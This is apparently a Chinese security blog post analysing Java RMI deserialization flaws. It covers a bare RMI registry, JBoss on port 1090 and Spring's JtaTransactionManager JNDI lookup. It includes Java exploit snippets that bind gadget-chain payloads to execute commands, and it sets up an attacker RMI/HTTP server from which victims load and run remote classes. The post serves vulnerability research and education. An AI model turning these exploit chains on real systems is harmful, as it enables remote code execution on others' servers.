java RMI相關反序列化漏洞整合分析
Author:angelwhu
0x00 背景
在闡述java反序列化漏洞時,原文中提到:
Java LOVES sending serialized objects all over the place. For example:
In HTTP requests – Parameters, ViewState, Cookies, you name it.
RMI – The extensively used Java RMI protocol is 100% based on serialization
RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objectsJMX – Again, relies on serialized objects being shot over the wire Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come
在java使用RMI機制時,會使用序列化物件進行資料傳輸。這就會產生java反序列化漏洞。利用範圍是很大。
之後,綠盟科技提到了JBoss中存在RMI機制方面的漏洞。最近又有了spring框架RCE漏洞,這個漏洞利用與RMI密切相關。
這裡便整理關於RMI漏洞的相關漏洞,並進行簡要利用分析。
0x01 RMI簡介
摘自網路的簡要介紹:
RMI是Remote Method Invocation的簡稱,是J2SE的一部分,能夠讓程式設計師開發出基於Java的分散式應用。一個RMI物件是一個遠端Java物件,可以從另一個Java虛擬機器上(甚至跨過網路)呼叫它的方法,可以像呼叫本地Java物件的方法一樣呼叫遠端物件的方法,使分佈在不同的JVM中的物件的外表和行為都像本地物件一樣。
這裡看出它的功能中是可以透過網路進行物件的傳輸,使其可以進行遠端物件呼叫。下面就寫一個簡單的RMI程式,說明其存在反序列化漏洞問題。
0x02 RMI應用程式攻擊
首先簡單的實現一個服務端,啟用RMI服務,繫結在6600埠:
#!java
public class Run {
public static void main(String[] args) {
try {
//PersonServiceInterface personService=new PersonServiceImp();
//註冊通訊埠
LocateRegistry.createRegistry(6600);
//註冊通訊路徑
//Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
System.out.println("Service Start!");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
上述程式碼中程式碼中,本來我使用bind
函式,將personService
物件繫結在伺服器端供外部呼叫。
但我發現,即使沒有任何物件繫結,只是用一行程式碼LocateRegistry.createRegistry(6600);
,開通RMI服務。然後,透過訪問服務埠(這裡的6600埠),即可實現反序列化攻擊。
這裡進行利用當然遵從java反序列化漏洞中一個條件:Apache Commons Collections
或者其他存在缺陷的第三方庫包含在lib路徑中。這裡使用的是commons-collections-3.1.jar
,將其加入到lib路徑中。
這樣,上述簡單的RMI應用程式滿足了反序列化漏洞的兩個條件:
- 存在反序列化物件資料傳輸。
- 有缺陷的
Apache Commons Collections
第三方庫在lib路徑中。
攻擊程式碼的編寫:
#!java
Object instance = PayloadGeneration.generateExecPayload("calc");
InvocationHandler h = (InvocationHandler) instance;
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));//動態代理Rmote介面。
Registry registry = LocateRegistry.getRegistry(ip, port);//伺服器端的ip和埠
try{
registry.bind("pwned", r); // r is remote obj
}
catch (Throwable e)
{
e.printStackTrace();
}
這裡將java反序列化漏洞的payload封裝了下,PayloadGeneration.generateExecPayload("calc");
會產生一個執行calc
命令的物件,有興趣的可以在我的github上檢視原始碼。然後,將我們的payload傳送到RMI服務埠進行攻擊。
registry.bind("pwned", r);
中r物件必須繼承Remote
介面。所以這裡使用了java動態代理技術來代理Remote介面並生成其物件r
。然後使用bind
函式便可將攻擊payload傳送到RMI服務中,遠端執行calc
命令,攻擊完成。本機測試如下:
這裡可以看到,只要應用伺服器上使用了RMI服務,並使用了Apache Commons Collections
第三方庫,就可能存在反序列化命令執行的漏洞。
值得關注的是,RMI服務的攻擊,同樣可以使用URLClassLoader
方法進行回顯。
#!java
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
同樣,將封裝好的payload換成URLClassLoader
的攻擊負載。便能載入遠端的exploit.ErrorBaseError
類,執行pwd
命令,即可回顯。這是我在Ubuntu上執行服務端進行的測試結果。
這裡說明了應用程式在使用RMI機制時,會存在反序列化的問題。如果恰好使用了有缺陷的第三方庫,那就可以遠端命令執行了。接下來,看看實際場景中的相關漏洞。
0x03 JBoss RMI攻擊利用
JBOSS符合我們在上述討論中的兩個條件:
- 它使用了RMI機制進行資訊通訊,埠1099使用了
jndi
和埠1090則是RMI服務埠。 - 並且包含了
Apache Commons Collections
第三方庫。於是就可以說存在遠端命令執行漏洞了。
在綠盟科技的文章中,提到了JBOSS中存在使用RMI機制的問題,可以在JMXInvoker刪除的情況下獲取shell。 於是可以這樣重現命令執行。
使用如下命令啟動jboss,預設就會對外開放所有埠。當然10.10.10.135代表本機ip。
#!bash
./run.sh -b 10.10.10.135
首先,掃描一下jboss伺服器埠,這裡我使用的是jboss-6.1.0.Final
版本,安裝在Ubuntu虛擬機器中。使用nmap掃描結果如下:
#!bash
1090/tcp open ff-fms
1091/tcp open ff-sm
1098/tcp open rmiactivation
1099/tcp open rmiregistry
4446/tcp open n1-fwp
5500/tcp open hotline
8009/tcp open ajp13
8080/tcp open http-proxy
8083/tcp open us-srv
發現1090埠和1099埠對外開放了。也就是說RMI服務對外開放了。
在這裡說一下,在jboss利用上面,按照原文的程式碼利用,沒有重現成功。其中有payload的問題,所以使用了我自己寫的封裝好的payload,比較方便。另外,我們一開始認為攻擊1099埠,我的好同學研究發現應該是1090埠,這才攻擊成功。
於是有了以下攻擊程式碼:
#!java
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
InvocationHandler h = (InvocationHandler) instance;
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));
Registry registry = LocateRegistry.getRegistry("10.10.10.135", 1090);
try{
registry.bind("pwned", r); // r is remote obj
}
catch (Throwable e)
{
e.printStackTrace();
}
執行程式碼,並攻擊Jboss可以得到如下執行結果:
0x04 Spring framework遠端命令執行分析
這個漏洞涉及JNDI和RMI服務,比較有趣。程式碼細節分析請參考資料中的第三個,分析的非常好,就不班門弄斧了。這裡簡單理清這個攻擊的步驟。
與Apache Commons Collections
這個庫的反序列化利用類似,我們需要將spring框架中的lib包,包含在CLASSPATH
中。這個要求比較苛刻,需要的包也比較多:
翻譯下原文的命令執行程式碼鏈:
spring-tx.jar
中包含org.springframework.transaction.jta.JtaTransactionManager
類,這個類存在JNDI的反序列化問題。
它的readObject() 方法執行中含有這樣的一個路徑:
#!bash
initUserTransactionAndTransactionManager()->
lookupUserTransaction()->
JndiTemplate.lookup()->
InitialContext.lookup(userTransactionName)
InitialContext.Lookup()
會呼叫 userTransactionName
屬性,這個屬性是我們可以控制的。
查閱JNDI使用,可以發現userTransactionName
屬性可以是一個外網的RMI路徑,比如:rmi://10.10.10.1:1099/Object
。
於是我們可以自己搭建一個RMI伺服器,讓目標伺服器來訪問下載執行準備好的任意java程式碼。
服務端搭建在Ubuntu虛擬機器上,簡單地建立一個socket進行資料傳輸並反序列化解析。程式碼自行查閱github~~
簡要畫的原理如下:
Client端即為攻擊方,它向目標伺服器傳送JtaTransactionManager
序列化物件後,會觸發server端進行訪問Client端(即:這時的RMI伺服器端)中的RMI服務,去下載任意java物件進行執行。關鍵程式碼為:
#!java
//建立RMI服務
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress +"/");
//訪問rmi服務時,會轉到該url地址中下載client.ExportObject類,並新建物件。
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
String jndiAddress = "rmi://"+localAddress+":1099/Object";
//透過jndi訪問rmi服務
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
測試遠端執行ifconfig
命令,可在服務端看到執行成功,同時客戶端看到了訪問記錄。結果如下:
0x05 結語
java反序列漏洞影響很大,RMI機制也是冰山一角。期待相互交流研究。
0x06 參考資料及原始碼
- http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/
- http://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/
- http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce
- https://github.com/angelwhu/java_unserialize
- https://github.com/zerothoughts/spring-jndi
相關文章
- 關於metaspolit中進行JAVA反序列化滲透RMI的原理分析2021-04-13Java
- RMI 反序列化詳細分析2024-07-29
- Java安全之RMI反序列化2020-11-04Java
- Java安全之Cas反序列化漏洞分析2021-05-27Java
- Java安全之Shiro 550反序列化漏洞分析2020-12-24Java
- Java安全之RMI協議分析2021-01-15Java協議
- Java Record 的一些思考 - 序列化相關2022-01-04Java
- 關於 Java 中的 RMI-IIOP2019-12-31Java
- JAVA反序列化漏洞完整過程分析與除錯2020-08-19Java除錯
- Java序列化、反序列化、反序列化漏洞2024-09-25Java
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- Java RMI技術詳解與案例分析2024-08-05Java
- Apache Shiro 反序列化漏洞分析2021-11-12Apache
- Shiro 550反序列化漏洞分析2021-10-07
- Java String的相關性質分析2020-07-01Java
- WebLogic 反序列化漏洞深入分析2022-09-29Web
- iOS 8.1.2 越獄過程詳解及相關漏洞分析2020-08-19iOS
- common-collections中Java反序列化漏洞導致的RCE原理分析2020-08-19Java
- Fastjson 反序列化漏洞分析 1.2.25-1.2.472022-01-25ASTJSON
- Fastjson反序列化漏洞分析 1.2.22-1.2.242022-01-21ASTJSON
- Java 中 RMI 的使用2021-05-11Java
- 有隙可乘 - Android 序列化漏洞分析實戰2024-05-16Android
- Flutter Android 端 FlutterEngine Java 相關流程原始碼分析2021-08-15FlutterAndroidJava原始碼
- RMI原理及常見反序列化攻擊手法2024-11-25
- Java Bean相關2024-05-08JavaBean
- 通過WebGoat學習java反序列化漏洞2021-09-06WebGoJava
- java反序列化工具ysoserial分析2020-08-19Java
- matlab相關性分析2020-11-14Matlab
- JAVA_RMI(理論篇)2024-11-26Java
- java中RMI是什麼2021-09-11Java
- android反編譯相關命令總結2019-01-22Android編譯
- 關於libStagefright系列漏洞分析2020-08-19
- Java安全之Axis漏洞分析2021-11-26Java
- Java安全之XStream 漏洞分析2021-07-22Java
- Typo3 CVE-2019-12747 反序列化漏洞分析2019-08-02
- [Java反序列化]jdk原生鏈分析2022-05-18JavaJDK
- Java安全之SnakeYaml反序列化分析2022-05-05JavaYAML
- 原碼反碼補碼的相關理解2018-08-26